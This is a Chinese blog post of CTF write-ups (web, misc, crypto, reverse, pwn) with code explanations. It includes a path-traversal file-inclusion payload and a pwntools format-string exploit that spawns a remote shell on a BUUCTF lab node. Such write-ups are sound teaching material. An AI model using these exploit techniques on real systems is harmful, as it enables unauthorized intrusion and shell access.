寒假2.7

题解

web:[HCTF 2018]WarmUp

打开是张表情包

看一下源代码

访问source.php,得到完整代码

代码审计

 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];  //两个白名单文件source.php和hint.phpif (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}   //如果字符在白名单内就正常回显,不在白名单内就回显“you can't see it”$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}   //截取$page中?之前的部分,并检查是否在白名单中,也就是说只要?前的内容在白名单里即可$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}   //URL解码,防止通过URL编码绕过检查echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])   //以REQUEST方式接收file传递过来的值,由is_string、emmm::checkFile处理之后交给include去处理&& is_string($_REQUEST['file'])   //判断file是不是字符串&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];  //有include函数,大概率是一个文件包含漏洞exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?>   //如果file参数存在且为字符串,并且通过了checkFile函数的检查,则包含该文件,否则就输出表情包

访问一下hint.php看看

 用文件包含的形式访问一下,失败

因为我们当前的source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放在根目录下面,这里还有一个hint.php?/或者source.php?/,因此需要返回四层才能到根目录

一般都是/var/www/html/xx.php,文件包含加目录穿越即可

payload:

source.php?file=hint.php?/../../../../ffffllllaaaagggg

misc:BUUCTF-间谍启示录

下载附件,是一个.iso文件,用VMware看一下

看了看文档说明,虽然没有flag但是也算一个提示

这样不好看,foremost分离一下

看了一下,只有rar里的压缩包解压后有内容

运行flag.exe文件,没啥用,想起题目说的被隐藏了,右键选择属性开启隐藏再关闭即可得到机密文件.txt

打开就是flag

crypto:BUUCTF-old-fashion

下载附件,看不懂,直接用quipquip爆破

flag{n1_2hen-d3_hu1-mi-ma_a}

reverse:BUUCTF-Java逆向解密

下载附件,是一个.class文件,用jdkx-gui打开

 代码解释

package defpackage;import java.util.ArrayList;
import java.util.Scanner;/* 从文件 Reverse.class 加载 */
public class Reverse {public static void main(String[] args) {Scanner s = new Scanner(System.in); // 创建一个 Scanner 对象用于读取控制台输入System.out.println("Please input the flag :"); // 提示用户输入String str = s.next(); // 读取用户输入的字符串System.out.println("Your input is :"); // 输出提示信息System.out.println(str); // 显示用户输入的字符串char[] stringArr = str.toCharArray(); // 将字符串转换为字符数组Encrypt(stringArr); // 调用 Encrypt 方法对字符数组进行加密处理}public static void Encrypt(char[] arr) {ArrayList<Integer> Resultlist = new ArrayList<>(); // 创建一个整数列表来存储加密结果for (char c : arr) { // 遍历字符数组int result = (c + '@') ^ 32; // 使用一个简单的公式进行加密//定义的c变量是字符+@,其实就是ascii码相加的数和32进行异或加密Resultlist.add(Integer.valueOf(result)); // 将加密后的结果添加到列表中}int[] KEY = {180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65}; // 定义一个密钥数组ArrayList<Integer> KEYList = new ArrayList<>(); // 创建一个整数列表来存储密钥值for (int i : KEY) { // 遍历密钥数组KEYList.add(Integer.valueOf(i)); // 将密钥值添加到列表中}System.out.println("Result:"); // 输出提示信息if (Resultlist.equals(KEYList)) { // 比较加密结果和密钥列表是否相同System.out.println("Congratulations!");} else {System.err.println("Error!");}}
}

由上,此题进行的处理大概是先将字符 c 的 ASCII 码值加上字符 @ 的 ASCII 码值(64),然后将结果与 32 进行按位异或运算,存储最终结果

所以我们的脚本就要逆过来,通过减去 @ 的 ASCII 码值并进行按位异或运算,还原出原始字符

python脚本:

strs = [180, 136, 137, 147, 191, 137, 147, 191,148, 136, 133, 191, 134, 140, 129, 135, 191, 65]flag = ""
for i in range(0,len(strs)):flag += chr(strs[i] - ord('@') ^ 0x20)
print("flag{"+flag+"}")

运行即可得到flag

pwn: [第五空间2019 决赛]PWN5

下载附件,exeinfope打开,32位无壳

 ida32打开,查看main函数

代码解释(16~32行)

  fd = open("/dev/urandom", 0);  //打开了一个特殊的设备文件/dev/urandom,该文件提供了高质量的随机数。open函数的第二个参数是模式,通常应该使用O_RDONLY来表示只读模式,但这里直接使用了数字0,这在大多数系统上等同于O_RDONLYread(fd, &dword_804C044, 4u);  //从/dev/urandom读取4个字节的数据到变量dword_804C044中。这个变量似乎是一个全局变量,其地址是硬编码的(例如,在ELF文件中,地址可能是一个固定的地址)printf("your name:");  //输入用户名read(0, buf, 0x63u);  //从标准输入(文件描述符0)读取最多99个字节(0x63是99的十六进制表示)到缓冲区buf中。这里没有检查read的返回值,也没有检查缓冲区溢出的可能性,这是一个潜在的安全风险printf("Hello,");printf(buf);  //输出用户输入的名字。由于之前没有对buf进行任何处理,这里存在一个格式化字符串漏洞,攻击者可以构造输入来利用这个漏洞printf("your passwd:");  //输入密码read(0, nptr, 0xFu);  //从标准输入读取最多15个字节(0xF是15的十六进制表示)到缓冲区nptr中。这里同样没有检查read的返回值,也没有检查缓冲区溢出的可能性if ( atoi(nptr) == dword_804C044 )  //使用atoi函数将nptr指向的字符串转换成整数,并与之前从/dev/urandom读取的随机数进行比较。(因此我们构建攻击载荷的地址即为dword_804C044的地址=0x804C044){puts("ok!!");system("/bin/sh");  //如果输入的整数与随机数相等,则输出"ok!!"并执行/bin/sh,给予攻击者一个shell}else{puts("fail");}result = 0;if ( __readgsdword(0x14u) != v6 )sub_80493D0();return result;
}

 由分析可知,该题存在格式化字符串漏洞,所以需要输入AAA来确定偏移量

AAA,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

偏移量为10

payload:

payload = p32(0x804C044) + b'%10$n'

其中,b'%10$n'是一个格式化字符串

%n表示将前面已经输出的字符数写入指定地址

10$表示将字符数写入第10个参数指向的地址

%10$n的作用就是将输出的字符数写入0x804c044

exp:

from pwn import* 
io = remote('node5.buuoj.cn',28237)#远程连接服务器端口
io.recvuntil(':')#等待用户输入名字,确保脚本在正确的时刻发送或接收数据
payload = p32(0x804C044)+ b'%10$n'
io.sendline(payload)#发送payload到远程服务器,由于之前调用了recvuntil(':'),这个payload将作为用户的名字发送
io.recvuntil(':')#再次接收数据,直到遇到':',这次是为了同步到密码提示
io.sendline('4')#发送字符串'4'作为密码。这是因为在格式化字符串漏洞利用中,我们已经将dword_804C044的值覆盖为了4(或者至少我们希望是这样),所以输入'4'应该会使atoi(nptr) == dword_804C044的条件成立
io.interactive()#将脚本切换到交互模式,允许用户与远程服务器进行交互。如果之前的利用成功,这将提供一个shell

知识点

1.mb_strpos()函数

 定义:

mb_strpos(string $haystack, string $needle, int $offset = 0, string $encoding = null): int|false

$haystack-->要搜索的字符串

$needle-->要查找的子字符串

$offset-->指定开始搜索的位置,默认为0

$encoding-->指定字符编码。若未指定,则一般是UTF-8

返回值:

如果找到子字符串,返回子字符串在主字符串中首次出现的位置(从0开始计数)

如果没找到,返回false

使用实例:

1.基本用法

2。指定偏移量:从位置5开始搜索,子字符串“世界”首次出现的位置是6

对比:

3.未找到字符串:返回false

4.指定字符编码:在UTF-8编码的字符串“hello world”中,ord首次出现的位置是6

 注意:mb_strpos使用时需区分大小写,若要不区分的话,可以使用mb_stripos

实际应用场景:

1.检查子字符串是否存在

2.截取子字符串

 3.检查文件扩展名

4.提取URL中的路径

2.recvuntil()函数

概念:

作用:

用于从远程服务器接收数据,直到指定的字符串(在今天的pwn题中是':')被接收到为止。这通常用于同步,确保脚本在正确的时刻发送或接收数据。

定义:

注意,三个参数里只有delimiter是必须有的

recvuntil(delimiter, timeout=default, drop=False)

delimiter:指定的分隔符,函数会一直接收数据,直到遇到这个分隔符

timeout:超时时间(秒为单位),如果在指定时间内没有接收到分隔符,函数会抛出异常

drop:True-->返回数据不包含分隔符,False-->返回数据包含分隔符

返回值:返回从目标程序接收到的数据(包括分隔符,除非 drop=True

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/14813.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

sqli-lab靶场学习(五)——Less15-17(post方法盲注、修改密码)

前言 第11-14关开始用post方法&#xff0c;15-17关会用到盲注&#xff0c;post方法盲注和get方法类似。 Less15 这关是单引号闭合&#xff0c;有报错但没有具体情况的回显&#xff0c;因此适合使用错误盲注。 在用户名密码框分别输入 账号&#xff1a;admin and 11 -- asd…

【Spring】什么是Spring?

什么是Spring&#xff1f; Spring是一个开源的轻量级框架&#xff0c;是为了简化企业级开发而设计的。我们通常讲的Spring一般指的是Spring Framework。Spring的核心是控制反转(IoC-Inversion of Control)和面向切面编程(AOP-Aspect-Oriented Programming)。这些功能使得开发者…

VSCode便捷开发

一、常用插件 Vue 3 Snippets、Vetur、Vue - Official 二、常用开发者工具 三、Vue中使用Element-UI 安装步骤&#xff1a; 1、在VSCode的终端执行如下指令&#xff1a; npm i element-ui -S 2、在main.js中全局引入&#xff1a; import Vue from vue; import ElementUI from …

Android studio 创建aar包给Unity使用

1、aar 是什么&#xff1f; 和 Jar有什么区别 aar 和 jar包 都是压缩包&#xff0c;可以使用压缩软件打开 jar包 用于封装 Java 类及其相关资源 aar 文件是专门为 Android 平台设计的 &#xff0c;可以包含Android的专有内容&#xff0c;比如AndroidManifest.xml 文件 &#…

加速汽车软件升级——堆栈刷写技术的应用与挑战

一、背景和挑战 | 背景&#xff1a; 当前汽车市场竞争激烈&#xff0c;多品牌并存&#xff0c;新车发布速度加快&#xff0c;价格逐渐降低&#xff0c;功能日益多样化。随着车辆功能的不断提升与优化&#xff0c;ECU&#xff08;电子控制单元&#xff09;的代码量也随之增加&…

台湾精锐APEX减速机在半导体制造设备中的应用案例

半导体制造设备对传动系统的精度、可靠性和稳定性要求极高&#xff0c;台湾精锐APEX减速机凭借其低背隙、高精度和高刚性等优势&#xff0c;在半导体制造设备中得到了广泛应用。 案例一&#xff1a;晶圆切割设备 1.应用场景 在晶圆切割过程中&#xff0c;设备需要高精度的运…

Windows安装cwgo,一直安装的是linux平台的

Windows安装cwgo&#xff0c;一直安装的是linux平台的 查看 go env &#xff0c;发现 GOOSlinux 临时修改 GOOS &#xff0c;set GOOSwindows &#xff0c;再安装。 此时&#xff0c;安装的就是 windows 的可执行文件。安装之后再将 GOOS 修改回来即可。

【R语言】plyr包和dplyr包

一、plyr包 plyr扩展包主要是实现数据处理中的“分割-应用-组合”&#xff08;split-apply-combine&#xff09;策略。此策略是指将一个问题分割成更容易操作的部分&#xff0c;再对每一部分进行独立的操作&#xff0c;最后将各部分的操作结果组合起来。 plyr扩展包中的主要函…

google 多模态aistudio Stream Realtime体验

参考&#xff1a; https://aistudio.google.com/live 使用gemini多模态能力&#xff0c;支持语音图像文字输入输出&#xff0c;实时交互体验 支持语音实时交互、摄像头加语音、屏幕视频语音 摄像头 屏幕共享

opentelemetry-collector 配置elasticsearch

一、修改otelcol-config.yaml receivers:otlp:protocols:grpc:endpoint: 0.0.0.0:4317http:endpoint: 0.0.0.0:4318 exporters:debug:verbosity: detailedotlp/jaeger: # Jaeger supports OTLP directlyendpoint: 192.168.31.161:4317tls:insecure: trueotlphttp/prometheus: …

四、OSG学习笔记-基础图元

前一章节&#xff1a; 三、OSG学习笔记-应用基础-CSDN博客https://blog.csdn.net/weixin_36323170/article/details/145514021 代码&#xff1a;CuiQingCheng/OsgStudy - Gitee.com 一、绘制盒子模型 下面一个简单的 demo #include<windows.h> #include<osg/Node&…

保姆级AI开发环境搭建

目录 windows下环境搭建1. Python环境搭建2. 下载vLLM2.1 安装CUDA2.2 安装Pytorch2.3 安装vllm 3. 部署Deepseek&#xff08;huggingface&#xff09;3.1 DeepSeek的优化建议 4. ollama快速部署Deepseek4.1 下载Ollama4.2 配置Ollma4.2 运行模型4.3 其他Ollama命令 linux下环境…

MySQL安装与配置

MySQL是常用的数据库&#xff0c;本篇记录MySQL的安装与配置。 1.首先到官网下载MySQL&#xff0c;这里下载5.7版本的。 https://downloads.mysql.com/archives/community/ 2.下载完成后&#xff0c;解压&#xff0c;然后设置环境变量 3.打开解压的要目录&#xff0c;创建一个…

如何参与开源项目

目的 就是说一下如何参与开源的项目&#xff0c;通过参与QXlsx来说明开源项目是如何参与的&#xff0c;其它的github上的开源项目&#xff0c;也是这样的流程。 关于GitHub: GitHub是一个面向开源及私有软件项目的托管平台&#xff0c;因为只支持Git作为唯一的版本库格式进行…

edu小程序挖掘严重支付逻辑漏洞

edu小程序挖掘严重支付逻辑漏洞 一、敏感信息泄露 打开购电小程序 这里需要输入姓名和学号&#xff0c;直接搜索引擎搜索即可得到&#xff0c;这就不用多说了&#xff0c;但是这里的手机号可以任意输入&#xff0c;只要用户没有绑定手机号这里我们输入自己的手机号抓包直接进…

【论文翻译】DeepSeek-V3论文翻译——DeepSeek-V3 Technical Report——第一部分:引言与模型架构

论文原文链接&#xff1a;DeepSeek-V3/DeepSeek_V3.pdf at main deepseek-ai/DeepSeek-V3 GitHub 特别声明&#xff0c;本文不做任何商业用途&#xff0c;仅作为个人学习相关论文的翻译记录。本文对原文内容直译&#xff0c;一切以论文原文内容为准&#xff0c;对原文作者表示…

Qt之设置QToolBar上的按钮样式

通常给QAction设置icon后,菜单栏的菜单项和工具栏(QToolBar)上对应的按钮会同时显示该icon。工具栏还可以使用setToolButtonStyle函数设置按钮样式,其参数为枚举值: enum ToolButtonStyle {ToolButtonIconOnly,ToolButtonTextOnly,ToolButtonTextBesideIcon,ToolButtonTe…

学习threejs,使用Lensflare模拟镜头眩光

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;threejs gis工程师 文章目录 一、&#x1f340;前言1.1 ☘️THREE.Lensflare 二、&…

opencv图像处理

注释详细 1.图像维度&#xff1a;打印出的结果分别为图片像素的横行、纵列和三原色彩色通道 import cv2 imgcv2.imread(pictures//3.png) print(img.shape) cv2.imshow("img",img)#窗口名、变量名 cv2.waitKey(0) 2.图像彩色通道&#xff1a;1张彩色图片&#xff…

harmonyOS生命周期详述

harmonyOS的生命周期分为app(应用)的生命周期和页面的生命周期函数两部分 应用的生命周期-app应用 在app.js中写逻辑,具体有哪些生命周期函数呢,请看下图: onCreated()、onShow()、onHide()、onDestroy()这五部分 页面及组件生命周期 着重说下onShow和onHide,分别代表是不是…